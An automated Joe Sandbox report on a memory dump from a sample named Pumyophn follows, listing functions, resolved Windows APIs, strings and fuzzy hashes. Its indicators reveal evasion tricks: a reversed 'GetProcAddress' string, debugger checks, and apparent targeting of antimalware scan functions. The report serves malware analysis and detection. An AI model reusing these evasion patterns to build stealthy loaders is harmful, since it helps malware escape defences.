                                                                                                                                                                      • Instruction ID: f52dc86693adb70befaee6a9d480fff564b8ed47817c8c8f4d553ca876470fef
                                                                                                                                                                      • Opcode Fuzzy Hash: 08d19139f865e72493333d78b9ee4a31cd30b2ebc972edcdd67ec8a53bfc9ac7
                                                                                                                                                                      • Instruction Fuzzy Hash: F131A4B1E4021E6AEB35D6B49C55BEE77AD4B443C8F4842E19609E6084DAB4DF448F90
                                                                                                                                                                      Function 02CBA954 Relevance: 59.6, APIs: 17, Strings: 17, Instructions: 99libraryloaderCOMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      • GetModuleHandleA.KERNEL32(kernel32.dll,00000002,02CBABDB,?,?,02CBAC6D,00000000,02CBAD49), ref: 02CBA968
                                                                                                                                                                      • GetProcAddress.KERNEL32(00000000,CreateToolhelp32Snapshot), ref: 02CBA980
                                                                                                                                                                      • GetProcAddress.KERNEL32(00000000,Heap32ListFirst), ref: 02CBA992
                                                                                                                                                                      • GetProcAddress.KERNEL32(00000000,Heap32ListNext), ref: 02CBA9A4
                                                                                                                                                                      • GetProcAddress.KERNEL32(00000000,Heap32First), ref: 02CBA9B6
                                                                                                                                                                      • GetProcAddress.KERNEL32(00000000,Heap32Next), ref: 02CBA9C8
                                                                                                                                                                      • GetProcAddress.KERNEL32(00000000,Toolhelp32ReadProcessMemory), ref: 02CBA9DA
                                                                                                                                                                      • GetProcAddress.KERNEL32(00000000,Process32First), ref: 02CBA9EC
                                                                                                                                                                      • GetProcAddress.KERNEL32(00000000,Process32Next), ref: 02CBA9FE
                                                                                                                                                                      • GetProcAddress.KERNEL32(00000000,Process32FirstW), ref: 02CBAA10
                                                                                                                                                                      • GetProcAddress.KERNEL32(00000000,Process32NextW), ref: 02CBAA22
                                                                                                                                                                      • GetProcAddress.KERNEL32(00000000,Thread32First), ref: 02CBAA34
                                                                                                                                                                      • GetProcAddress.KERNEL32(00000000,Thread32Next), ref: 02CBAA46
                                                                                                                                                                      • GetProcAddress.KERNEL32(00000000,Module32First), ref: 02CBAA58
                                                                                                                                                                      • GetProcAddress.KERNEL32(00000000,Module32Next), ref: 02CBAA6A
                                                                                                                                                                      • GetProcAddress.KERNEL32(00000000,Module32FirstW), ref: 02CBAA7C
                                                                                                                                                                      • GetProcAddress.KERNEL32(00000000,Module32NextW), ref: 02CBAA8E
                                                                                                                                                                      Strings
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000004.00000002.1839275438.0000000002CA1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02CA1000, based on PE: false
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_4_2_2ca1000_Pumyophn.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: AddressProc$HandleModule
                                                                                                                                                                      • String ID: CreateToolhelp32Snapshot$Heap32First$Heap32ListFirst$Heap32ListNext$Heap32Next$Module32First$Module32FirstW$Module32Next$Module32NextW$Process32First$Process32FirstW$Process32Next$Process32NextW$Thread32First$Thread32Next$Toolhelp32ReadProcessMemory$kernel32.dll
                                                                                                                                                                      • API String ID: 667068680-597814768
                                                                                                                                                                      • Opcode ID: 2f3fcac8371c62f59fd3cac130a0bdbb5b035469e531415e6e58ce5a82a9e2d7
                                                                                                                                                                      • Instruction ID: 74116cb8007d593f81b19b72f062e43b2a7f9d322a2574ea9c960481758ec6f0
                                                                                                                                                                      • Opcode Fuzzy Hash: 2f3fcac8371c62f59fd3cac130a0bdbb5b035469e531415e6e58ce5a82a9e2d7
                                                                                                                                                                      • Instruction Fuzzy Hash: C531CAB0A80321AFEF02EFB8D9D9B6A37ADEF06704B140965B456CF218D774D8109F91
                                                                                                                                                                      Function 02CB6E58 Relevance: 24.5, APIs: 7, Strings: 7, Instructions: 32libraryloaderCOMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      • GetModuleHandleA.KERNEL32(ole32.dll), ref: 02CB6E5E
                                                                                                                                                                      • GetProcAddress.KERNEL32(00000000,CoCreateInstanceEx), ref: 02CB6E6F
                                                                                                                                                                      • GetProcAddress.KERNEL32(00000000,CoInitializeEx), ref: 02CB6E7F
                                                                                                                                                                      • GetProcAddress.KERNEL32(00000000,CoAddRefServerProcess), ref: 02CB6E8F
                                                                                                                                                                      • GetProcAddress.KERNEL32(00000000,CoReleaseServerProcess), ref: 02CB6E9F
                                                                                                                                                                      • GetProcAddress.KERNEL32(00000000,CoResumeClassObjects), ref: 02CB6EAF
                                                                                                                                                                      • GetProcAddress.KERNEL32(00000000,CoSuspendClassObjects), ref: 02CB6EBF
                                                                                                                                                                      Strings
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000004.00000002.1839275438.0000000002CA1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02CA1000, based on PE: false
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_4_2_2ca1000_Pumyophn.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: AddressProc$HandleModule
                                                                                                                                                                      • String ID: CoAddRefServerProcess$CoCreateInstanceEx$CoInitializeEx$CoReleaseServerProcess$CoResumeClassObjects$CoSuspendClassObjects$ole32.dll
                                                                                                                                                                      • API String ID: 667068680-2233174745
                                                                                                                                                                      • Opcode ID: 1b0358d353835055be3e30d5170483b15d869b7ed9063b0c15fd98fa58600830
                                                                                                                                                                      • Instruction ID: b64b06a35db0e265efb6907ba994ac4041e33aeea348d7d8d1a2e96fa55f3697
                                                                                                                                                                      • Opcode Fuzzy Hash: 1b0358d353835055be3e30d5170483b15d869b7ed9063b0c15fd98fa58600830
                                                                                                                                                                      • Instruction Fuzzy Hash: 57F030F5EC83927EBB017F78DD95A672B5DDE00A0CB381A39B41355502DAB5C4105F50
                                                                                                                                                                      Function 02CA2530 Relevance: 17.8, APIs: 1, Strings: 9, Instructions: 254windowCOMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      • MessageBoxA.USER32(00000000,?,Unexpected Memory Leak,00002010), ref: 02CA28CE
                                                                                                                                                                      Strings
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000004.00000002.1839275438.0000000002CA1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02CA1000, based on PE: false
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_4_2_2ca1000_Pumyophn.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: Message
                                                                                                                                                                      • String ID: $ bytes: $7$An unexpected memory leak has occurred. $String$The sizes of unexpected leaked medium and large blocks are: $The unexpected small block leaks are:$Unexpected Memory Leak$Unknown
                                                                                                                                                                      • API String ID: 2030045667-32948583
                                                                                                                                                                      • Opcode ID: dfa83fec632fe41dd6c3a2bd626237ec2e6557758161166ba56d14ceb3db1979
                                                                                                                                                                      • Instruction ID: 9d946c229e37bd82d35c64120469bab04f0db2a46c810c3291d411dc6931a92f
                                                                                                                                                                      • Opcode Fuzzy Hash: dfa83fec632fe41dd6c3a2bd626237ec2e6557758161166ba56d14ceb3db1979
                                                                                                                                                                      • Instruction Fuzzy Hash: 00A11730A042768BDB219A2CCCA4BD9B7F5FB49718F1440E5ED499B381CB758AC5CF52
                                                                                                                                                                      Function 02CA252E Relevance: 14.2, APIs: 1, Strings: 7, Instructions: 188COMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      Strings
                                                                                                                                                                      • , xrefs: 02CA2814
                                                                                                                                                                      • 7, xrefs: 02CA26A1
                                                                                                                                                                      • Unexpected Memory Leak, xrefs: 02CA28C0
                                                                                                                                                                      • The unexpected small block leaks are:, xrefs: 02CA2707
                                                                                                                                                                      • An unexpected memory leak has occurred. , xrefs: 02CA2690
                                                                                                                                                                      • bytes: , xrefs: 02CA275D
                                                                                                                                                                      • The sizes of unexpected leaked medium and large blocks are: , xrefs: 02CA2849
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000004.00000002.1839275438.0000000002CA1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02CA1000, based on PE: false
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_4_2_2ca1000_Pumyophn.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID:
                                                                                                                                                                      • String ID: $ bytes: $7$An unexpected memory leak has occurred. $The sizes of unexpected leaked medium and large blocks are: $The unexpected small block leaks are:$Unexpected Memory Leak
                                                                                                                                                                      • API String ID: 0-2723507874
                                                                                                                                                                      • Opcode ID: 7d8df90b64eef6e22e2cd0a3bec79428974fbed5c4605065d400a11bd80b4a21
                                                                                                                                                                      • Instruction ID: 41ed2c4079e3d4efbde6b951447d24961ffdfbe8793e2a37bb828e0d593c3072
                                                                                                                                                                      • Opcode Fuzzy Hash: 7d8df90b64eef6e22e2cd0a3bec79428974fbed5c4605065d400a11bd80b4a21
                                                                                                                                                                      • Instruction Fuzzy Hash: DD71D370A042B98FDB219A2CCC94BD9BAF5FF49708F1040E5E949DB281DB758AC5CF52
                                                                                                                                                                      Function 02CAAE44 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 56filewindowCOMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                        • Part of subcall function 02CAACBC: VirtualQuery.KERNEL32(?,?,0000001C), ref: 02CAACD9
                                                                                                                                                                        • Part of subcall function 02CAACBC: GetModuleFileNameA.KERNEL32(?,?,00000105), ref: 02CAACFD
                                                                                                                                                                        • Part of subcall function 02CAACBC: GetModuleFileNameA.KERNEL32(02D007F8,?,00000105,?,?,00000105), ref: 02CAAD18
                                                                                                                                                                        • Part of subcall function 02CAACBC: LoadStringA.USER32(00000000,02CA6814,?,00000100), ref: 02CAADAE
                                                                                                                                                                      • CharToOemA.USER32(?,?), ref: 02CAAE7B
                                                                                                                                                                      • GetStdHandle.KERNEL32(000000F4,?,00000000,?,00000000,?,?), ref: 02CAAE98
                                                                                                                                                                      • WriteFile.KERNEL32(00000000,000000F4,?,00000000,?,00000000,?,?), ref: 02CAAE9E
                                                                                                                                                                      • GetStdHandle.KERNEL32(000000F4,02CAAF08,00000002,?,00000000,00000000,000000F4,?,00000000,?,00000000,?,?), ref: 02CAAEB3
                                                                                                                                                                      • WriteFile.KERNEL32(00000000,000000F4,02CAAF08,00000002,?,00000000,00000000,000000F4,?,00000000,?,00000000,?,?), ref: 02CAAEB9
                                                                                                                                                                      • LoadStringA.USER32(00000000,02CA678C,?,00000040), ref: 02CAAEDB
                                                                                                                                                                      • MessageBoxA.USER32(00000000,?,?,00002010), ref: 02CAAEF1
                                                                                                                                                                      Strings
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000004.00000002.1839275438.0000000002CA1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02CA1000, based on PE: false
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_4_2_2ca1000_Pumyophn.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: File$HandleLoadModuleNameStringWrite$CharMessageQueryVirtual
                                                                                                                                                                      • String ID: PRQx7
                                                                                                                                                                      • API String ID: 185507032-1054095891
                                                                                                                                                                      • Opcode ID: df563127878e20e9e2943040039f3587dba75563cb6c771286383825b9078d66
                                                                                                                                                                      • Instruction ID: 225ec0109f38f29da32ddcd0d179cf196a9fb2db4b72a9b4283b7017303c2cdc
                                                                                                                                                                      • Opcode Fuzzy Hash: df563127878e20e9e2943040039f3587dba75563cb6c771286383825b9078d66
                                                                                                                                                                      • Instruction Fuzzy Hash: C311C2B25542067ED600EBA4CCA0F9F77EDAB44308F540A2AB350D60D0DA71E904DF62
                                                                                                                                                                      Function 02CA58B4 Relevance: 13.6, APIs: 6, Strings: 3, Instructions: 139stringCOMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      • lstrcpyn.KERNEL32(?,?,?), ref: 02CA5918
                                                                                                                                                                      • lstrcpyn.KERNEL32(?,?,0000005C,kernel32.dll), ref: 02CA597C
                                                                                                                                                                      • lstrcpyn.KERNEL32(?,?,00000001,?,?,?,kernel32.dll), ref: 02CA59B2
                                                                                                                                                                      • lstrcpyn.KERNEL32(0000005D,?,00000104), ref: 02CA5A17
                                                                                                                                                                      • lstrlen.KERNEL32(?,0000005D,?,00000104), ref: 02CA5A23
                                                                                                                                                                      • lstrcpyn.KERNEL32(?,0000005C,?,?,0000005D,?,00000104), ref: 02CA5A45
                                                                                                                                                                      Strings
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000004.00000002.1839275438.0000000002CA1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02CA1000, based on PE: false
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_4_2_2ca1000_Pumyophn.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: lstrcpyn$lstrlen
                                                                                                                                                                      • String ID: GetLongPathNameA$\$kernel32.dll
                                                                                                                                                                      • API String ID: 4046762626-1565342463
                                                                                                                                                                      • Opcode ID: 2a3a06494f8b9998e66ec7554324acc69e68d3d80a4c6bcac7128f6806600756
                                                                                                                                                                      • Instruction ID: 423a13c737ca05c03182c0c0227615c40189f50f699113923977223f06a4984f
                                                                                                                                                                      • Opcode Fuzzy Hash: 2a3a06494f8b9998e66ec7554324acc69e68d3d80a4c6bcac7128f6806600756
                                                                                                                                                                      • Instruction Fuzzy Hash: 2C415E71E4025AAFDB10DAE8CC98AEEB3BDAF48358F4885A5A149D7241D770DF44CF50
                                                                                                                                                                      Function 02CABD40 Relevance: 12.5, APIs: 1, Strings: 6, Instructions: 201threadCOMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      • GetThreadLocale.KERNEL32(00000000,02CAC00B,?,?,00000000,00000000), ref: 02CABD76
                                                                                                                                                                      Strings
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000004.00000002.1839275438.0000000002CA1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02CA1000, based on PE: false
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_4_2_2ca1000_Pumyophn.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: LocaleThread
                                                                                                                                                                      • String ID: AMPM$:mm$:mm:ss$AMPM $m/d/yy$mmmm d, yyyy
                                                                                                                                                                      • API String ID: 635194068-2493093252
                                                                                                                                                                      • Opcode ID: d3598947e4ca5aa71f33e73fa0d2b1c1786f0902f6a5869589273458fd84aeba
                                                                                                                                                                      • Instruction ID: 6fa5e46c19c6d33c5dbe2eb406c564df71e380230edf3e063456321299dc63c8
                                                                                                                                                                      • Opcode Fuzzy Hash: d3598947e4ca5aa71f33e73fa0d2b1c1786f0902f6a5869589273458fd84aeba
                                                                                                                                                                      • Instruction Fuzzy Hash: 44611F34B4014AABDB14FBA4D8B0B9F77BBAB88308F1094359102DB345DA35DE05AB94
                                                                                                                                                                      Function 02CBAE18 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 102COMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      • IsBadReadPtr.KERNEL32(?,00000004), ref: 02CBAE38
                                                                                                                                                                      • GetModuleHandleW.KERNEL32(KernelBase,LoadLibraryExA,?,00000004,?,00000014), ref: 02CBAE4F
                                                                                                                                                                      • IsBadReadPtr.KERNEL32(?,00000004), ref: 02CBAEE3
                                                                                                                                                                      • IsBadReadPtr.KERNEL32(?,00000002), ref: 02CBAEEF
                                                                                                                                                                      • IsBadReadPtr.KERNEL32(?,00000014), ref: 02CBAF03
                                                                                                                                                                      Strings
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000004.00000002.1839275438.0000000002CA1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02CA1000, based on PE: false
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_4_2_2ca1000_Pumyophn.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: Read$HandleModule
                                                                                                                                                                      • String ID: KernelBase$LoadLibraryExA
                                                                                                                                                                      • API String ID: 2226866862-113032527
                                                                                                                                                                      • Opcode ID: ad8d229fda07ac5f2687bd332dca1cbe0557dd2c01e59e11b1c80a95d5782358
                                                                                                                                                                      • Instruction ID: 51613d3bf277bb8ad4752f08bd6ae865852626f17973c977b1c5cda600cc95de
                                                                                                                                                                      • Opcode Fuzzy Hash: ad8d229fda07ac5f2687bd332dca1cbe0557dd2c01e59e11b1c80a95d5782358
                                                                                                                                                                      • Instruction Fuzzy Hash: 1A3161B5A40345BBEB21DF69CC85FDA77ACEF04768F144510FA949B280D331EA50DBA0
                                                                                                                                                                      Function 02CA432C Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 38filewindowCOMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      • GetStdHandle.KERNEL32(000000F5,Runtime error at 00000000,0000001E,?,00000000,?,02CA43F3,?,?,?,?,?,?,?,02CA449E,02CA2CF3), ref: 02CA4365
                                                                                                                                                                      • WriteFile.KERNEL32(00000000,000000F5,Runtime error at 00000000,0000001E,?,00000000,?,02CA43F3,?,?,?,?,?,?,?,02CA449E), ref: 02CA436B
                                                                                                                                                                      • GetStdHandle.KERNEL32(000000F5,02CA43B4,00000002,?,00000000,00000000,000000F5,Runtime error at 00000000,0000001E,?,00000000,?,02CA43F3), ref: 02CA4380
                                                                                                                                                                      • WriteFile.KERNEL32(00000000,000000F5,02CA43B4,00000002,?,00000000,00000000,000000F5,Runtime error at 00000000,0000001E,?,00000000,?,02CA43F3), ref: 02CA4386
                                                                                                                                                                      • MessageBoxA.USER32(00000000,Runtime error at 00000000,02CCD754,00000000), ref: 02CA43A4
                                                                                                                                                                      Strings
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000004.00000002.1839275438.0000000002CA1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02CA1000, based on PE: false
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_4_2_2ca1000_Pumyophn.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: FileHandleWrite$Message
                                                                                                                                                                      • String ID: Runtime error at 00000000
                                                                                                                                                                      • API String ID: 1570097196-1393363852
                                                                                                                                                                      • Opcode ID: 788225bb0fe6becfa9f4d3aa12f57fadceb21ddb3de6eee16a23d03ee46a5ece
                                                                                                                                                                      • Instruction ID: 80c11a280525e99c5832ee24e7d968aa14a085348cc8d9e35c04cd5875c594c4
                                                                                                                                                                      • Opcode Fuzzy Hash: 788225bb0fe6becfa9f4d3aa12f57fadceb21ddb3de6eee16a23d03ee46a5ece
                                                                                                                                                                      • Instruction Fuzzy Hash: 6CF02460AC130679FB24A3A0AC66F69235C4780F2CF280B39F329A40D4A7F050C0EB23
                                                                                                                                                                      Function 02CAE50C Relevance: 9.1, APIs: 6, Instructions: 139COMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      • SafeArrayGetLBound.OLEAUT32(?,00000001,?), ref: 02CAE5A5
                                                                                                                                                                      • SafeArrayGetUBound.OLEAUT32(?,00000001,?), ref: 02CAE5C1
                                                                                                                                                                      • SafeArrayCreate.OLEAUT32(0000000C,?,?), ref: 02CAE5FA
                                                                                                                                                                      • SafeArrayPtrOfIndex.OLEAUT32(?,?,?), ref: 02CAE677
                                                                                                                                                                      • SafeArrayPtrOfIndex.OLEAUT32(00000000,?,?), ref: 02CAE690
                                                                                                                                                                      • VariantCopy.OLEAUT32(?,00000000), ref: 02CAE6C5
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000004.00000002.1839275438.0000000002CA1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02CA1000, based on PE: false
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_4_2_2ca1000_Pumyophn.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: ArraySafe$BoundIndex$CopyCreateVariant
                                                                                                                                                                      • String ID:
                                                                                                                                                                      • API String ID: 351091851-0
                                                                                                                                                                      • Opcode ID: 64ad64c3195a2b266e732bc1d787a2588087a1c16bed5c34222ee16cb595d48a
                                                                                                                                                                      • Instruction ID: b38eab62dc6a6ada9c260755b4ab2bfc5d20e8ad335b655a9165c011780d2059
                                                                                                                                                                      • Opcode Fuzzy Hash: 64ad64c3195a2b266e732bc1d787a2588087a1c16bed5c34222ee16cb595d48a
                                                                                                                                                                      • Instruction Fuzzy Hash: 2751EE7590062E9BCB21DF58CCA0BD9B3BDAF4D318F0445E5E609A7201DA30AF859FA4
                                                                                                                                                                      Function 02CAAA80 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 148threadCOMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      • GetThreadLocale.KERNEL32(?,00000000,02CAAC50,?,?,?,?,00000000,00000000,00000000,00000000,00000000), ref: 02CAAAAF
                                                                                                                                                                      Strings
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000004.00000002.1839275438.0000000002CA1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02CA1000, based on PE: false
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_4_2_2ca1000_Pumyophn.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: LocaleThread
                                                                                                                                                                      • String ID: eeee$ggg$yyyy
                                                                                                                                                                      • API String ID: 635194068-1253427255
                                                                                                                                                                      • Opcode ID: 5efadc481efe1234a2a66418131be6ed1c0906504b5c106bd168a6b65f6278b2
                                                                                                                                                                      • Instruction ID: 1a28989bcdd307180de0bb00b9a16371e5d811a4c02584714674facfeae116fb
                                                                                                                                                                      • Opcode Fuzzy Hash: 5efadc481efe1234a2a66418131be6ed1c0906504b5c106bd168a6b65f6278b2
                                                                                                                                                                      • Instruction Fuzzy Hash: EE41247070495B4BE725FB7988B03BEB3FBEB8520CB604525D062C7304EBA9DE05DA21
                                                                                                                                                                      Function 02CBE2EE Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 112networkCOMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      • InternetCheckConnectionA.WININET(00000000,00000001,00000000), ref: 02CBE42E
                                                                                                                                                                      Strings
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000004.00000002.1839275438.0000000002CA1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02CA1000, based on PE: false
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_4_2_2ca1000_Pumyophn.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: CheckConnectionInternet
                                                                                                                                                                      • String ID: Initialize$OpenSession$ScanBuffer
                                                                                                                                                                      • API String ID: 3847983778-3852638603
                                                                                                                                                                      • Opcode ID: d347f8a93ca321cd1a6ef0e30820588c000a3c1fce1431d235f27466c6923945
                                                                                                                                                                      • Instruction ID: 5a16b353a853fd0308d926a80200a2fb9605cb73cc6c7415bbbee0f6a2fc8be4
                                                                                                                                                                      • Opcode Fuzzy Hash: d347f8a93ca321cd1a6ef0e30820588c000a3c1fce1431d235f27466c6923945
                                                                                                                                                                      • Instruction Fuzzy Hash: F3411C31B5010A9BEB25EBE4D850ADEB3FAEF98718F614435E041E7244DAB4AD01DF50
                                                                                                                                                                      Function 02CBE2F0 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 111networkCOMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      • InternetCheckConnectionA.WININET(00000000,00000001,00000000), ref: 02CBE42E
                                                                                                                                                                      Strings
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000004.00000002.1839275438.0000000002CA1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02CA1000, based on PE: false
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_4_2_2ca1000_Pumyophn.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: CheckConnectionInternet
                                                                                                                                                                      • String ID: Initialize$OpenSession$ScanBuffer
                                                                                                                                                                      • API String ID: 3847983778-3852638603
                                                                                                                                                                      • Opcode ID: 519e37149d89fa7015c3a51b63998eb48083001644e568cfeea231d9333d1473
                                                                                                                                                                      • Instruction ID: b47b7689ed903e51c1ad4aa3fddba30328b81ba224bb9cd82c63f99d8f2f96ef
                                                                                                                                                                      • Opcode Fuzzy Hash: 519e37149d89fa7015c3a51b63998eb48083001644e568cfeea231d9333d1473
                                                                                                                                                                      • Instruction Fuzzy Hash: B5411D31B5010A9BEB25EBE4D850ADEB3FAFF98718F614435E041E7244DAB4AD01DF50
                                                                                                                                                                      Function 02CB80C0 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 44libraryloaderCOMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      • GetProcAddress.KERNEL32(00000000,Kernel32), ref: 02CB8113
                                                                                                                                                                      • GetProcAddress.KERNEL32(?,?), ref: 02CB8125
                                                                                                                                                                      Strings
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000004.00000002.1839275438.0000000002CA1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02CA1000, based on PE: false
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_4_2_2ca1000_Pumyophn.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: AddressProc
                                                                                                                                                                      • String ID: Kernel32$sserddAcorPteG
                                                                                                                                                                      • API String ID: 190572456-1372893251
                                                                                                                                                                      • Opcode ID: 17180160efa5b8acfa55910091131b64f484bbf6484d826cde132f0ca22187b2
                                                                                                                                                                      • Instruction ID: c4385586043657b59e9b96264f09c50f3a4dee480736b69389fa18dd96cf08d5
                                                                                                                                                                      • Opcode Fuzzy Hash: 17180160efa5b8acfa55910091131b64f484bbf6484d826cde132f0ca22187b2
                                                                                                                                                                      • Instruction Fuzzy Hash: 24018B78A41308AFEB11EBA4DC91A9E77AEEB88704F518424E405D7B50DA70AD009A20
                                                                                                                                                                      Function 02CBEB8C Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 19libraryloaderCOMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      • GetModuleHandleW.KERNEL32(KernelBase,?,02CBEF90,UacInitialize,02CFCF00,02CCAFD0,UacScan,02CFCF00,02CCAFD0,ScanBuffer,02CFCF00,02CCAFD0,OpenSession,02CFCF00,02CCAFD0,ScanString), ref: 02CBEB92
                                                                                                                                                                      • GetProcAddress.KERNEL32(00000000,IsDebuggerPresent), ref: 02CBEBA4
                                                                                                                                                                      Strings
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000004.00000002.1839275438.0000000002CA1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02CA1000, based on PE: false
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_4_2_2ca1000_Pumyophn.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: AddressHandleModuleProc
                                                                                                                                                                      • String ID: IsDebuggerPresent$KernelBase
                                                                                                                                                                      • API String ID: 1646373207-2367923768
                                                                                                                                                                      • Opcode ID: f00ad782b3f05ce4a55f06f25944d04f2a44e41941a1cde8d73b22389aeb6c31
                                                                                                                                                                      • Instruction ID: 4095c5bbb2aa9899419e771899e65542765802c3d5cc1bcc13550ac6b761afcd
                                                                                                                                                                      • Opcode Fuzzy Hash: f00ad782b3f05ce4a55f06f25944d04f2a44e41941a1cde8d73b22389aeb6c31
                                                                                                                                                                      • Instruction Fuzzy Hash: 3ED012613513201DF90175F80CD8CDD02CDCD4592DBB80EB0B123D20D1E57688112515
                                                                                                                                                                      Function 02CAC3F4 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 16libraryloaderCOMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      • GetModuleHandleA.KERNEL32(kernel32.dll,?,02CCC10B,00000000,02CCC11E), ref: 02CAC3FA
                                                                                                                                                                      • GetProcAddress.KERNEL32(00000000,GetDiskFreeSpaceExA), ref: 02CAC40B
                                                                                                                                                                      Strings
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000004.00000002.1839275438.0000000002CA1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02CA1000, based on PE: false
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_4_2_2ca1000_Pumyophn.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: AddressHandleModuleProc
                                                                                                                                                                      • String ID: GetDiskFreeSpaceExA$kernel32.dll
                                                                                                                                                                      • API String ID: 1646373207-3712701948
                                                                                                                                                                      • Opcode ID: 96c1111f902a1d5e35b9e19e2b23c8f3a67d49120e7e02e2974395ec24696fa8
